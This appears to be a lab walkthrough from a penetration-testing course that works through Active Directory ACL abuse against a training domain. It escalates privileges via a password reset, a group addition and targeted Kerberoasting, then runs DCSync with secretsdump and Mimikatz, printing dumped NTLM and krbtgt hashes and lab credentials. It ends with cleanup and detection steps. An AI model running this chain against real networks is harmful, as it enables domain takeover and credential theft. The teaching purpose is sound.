ACL Abuse

Escalating from wley to adunn for DCSync Attack

Escalate from wley to adunn to perform a DCSync attack, enabling extraction of all user NTLM hashes, including krbtgt, for full domain control.

Attack Chain:

  1. Use wley to reset damundsen’s password.

  2. Authenticate as damundsen and add them to the Help Desk Level 1 group using GenericWrite rights.

  3. Leverage nested membership in the Information Technology group to gain GenericAll rights over adunn.

  4. Perform targeted Kerberoasting on adunn to obtain and crack their password offline.

  5. Use adunn’s credentials for a DCSync attack (covered in the next section).\


Step 1: Reset damundsen Password as wley

Authenticate as wley

C:\mrci0x1> $SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
C:\mrci0x1> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

Create SecureString for damundsen Password

C:\mrci0x1> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Change damundsen Password

C:\mrci0x1> cd C:\Tools\
C:\mrci0x1> Import-Module .\PowerView.ps1
C:\mrci0x1> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

Step 2: Add damundsen to Help Desk Level 1 Group

Authenticate as damundsen

C:\mrci0x1> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
C:\mrci0x1> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)

Verify Group Membership

C:\mrci0x1> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Marie Wright,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Jerrell Metzler,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Evelyn Mailloux,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Juanita Marrero,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL

Add damundsen to Group

C:\mrci0x1> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

Confirm Addition

C:\mrci0x1> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
MemberName
----------
busucher
spergazed
...
damundsen
dpayne

Step 3: Targeted Kerberoasting on adunn

Create Fake SPN for adunn

C:\mrci0x1> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'

Kerberoast adunn

C:\mrci0x1> .\Rubeus.exe kerberoast /user:adunn /nowrap
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$<SNIP>

Crack Hash Offline

C:\mrci0x1> hashcat -m 13100 adunn.hash /usr/share/wordlists/rockyou.txt --force
[Output depends on the hash and wordlist; similar to previous examples, e.g., password cracked as 'welcome1']

Step 4: Cleanup

Remove Fake SPN

C:\mrci0x1> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'

Remove damundsen from Group

C:\mrci0x1> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True

Confirm Removal

C:\mrci0x1> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName | ? {$_.MemberName -eq 'damundsen'} -Verbose
[No results, confirming removal]

Reset damundsen Password

If the original password is known, reset it using:

C:\mrci0x1> Set-DomainUserPassword -Identity damundsen -AccountPassword (ConvertTo-SecureString "<original_password>" -AsPlainText -Force) -Credential $Cred

If unknown, coordinate with the client to notify damundsen and set a new password.


DCSync

Verifying Replication Privileges for adunn

Prerequisites

  • Control over adunn with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions.

  • Windows attack host: MS01 (RDP: htb-student:Academy_student_AD!).

  • Linux attack host: SSH to 172.16.5.225 (htb-student:HTB_@cademy_stdnt!).

  • Tools: Mimikatz (Windows), Impacket’s secretsdump.py (Linux), PowerView (Windows).

Using PowerView to Check Group Membership

C:\mrci0x1> Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl
samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Checking Replication Rights with Get-ObjectAcl

C:\mrci0x1> $sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
C:\mrci0x1> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ? {$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

Executing DCSync

From a Linux Host with secretsdump.py

C:\mrci0x1> secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
inlanefreight.local\htb-student:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
inlanefreight.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::

Generated Files:

C:\mrci0x1> dir inlanefreight_hashes*
inlanefreight_hashes.ntds  inlanefreight_hashes.ntds.cleartext  inlanefreight_hashes.ntds.kerberos

From a Windows Host with Mimikatz

Step 1: Authenticate as adunn

C:\mrci0x1> runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:

Step 2: Execute Mimikatz

C:\mrci0x1> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Privilege '20' OK

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

Alternative: Extract krbtgt for Golden Ticket

C:\mrci0x1> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt
[Output similar to above, retrieving krbtgt hash]

Enumerating Reversible Encryption

Accounts with reversible encryption store passwords in a decryptable format, which tools like secretsdump.py can extract as cleartext.

Using Get-ADUser

C:\mrci0x1> Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
DistinguishedName  : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Enabled            : True
GivenName          :
Name               : PROXYAGENT
ObjectClass        : user
ObjectGUID         : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName     : proxyagent
SID                : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname            :
userAccountControl : 640
UserPrincipalName  :

Using PowerView

C:\mrci0x1> Get-DomainUser -Identity * | Where-Object {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | Select samaccountname, useraccountcontrol
samaccountname useraccountcontrol
-------------- ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Viewing Cleartext Password

C:\mrci0x1> type inlanefreight_hashes.ntds.cleartext
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

Cleanup

Reset adunn’s Password

C:\mrci0x1> Set-ADAccountPassword -Identity adunn -Reset -NewPassword (ConvertTo-SecureString "NewSecurePass123!" -AsPlainText -Force)

Remove Replication Privileges (if Added)

C:\mrci0x1> $sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
C:\mrci0x1> $acl = Get-Acl "AD:DC=INLANEFREIGHT,DC=LOCAL"
C:\mrci0x1> $acl.Access | Where-Object {$_.IdentityReference -eq $sid -and $_.ActiveDirectoryRights -match "ExtendedRight"} | ForEach-Object {$acl.RemoveAccessRule($_)}
C:\mrci0x1> Set-Acl -Path "AD:DC=INLANEFREIGHT,DC=LOCAL" -AclObject $acl

Securely Delete Hash Files

C:\mrci0x1> shred -u inlanefreight_hashes*
C:\mrci0x1> cipher /w:C:\path\to\hashes

Detection

Monitor Event ID 4662

C:\mrci0x1> Get-WinEvent -LogName "Security" | Where-Object { $_.Id -eq 4662 -and $_.Properties[1].Value -match "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" }

Audit with PowerView

C:\mrci0x1> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs

Last updated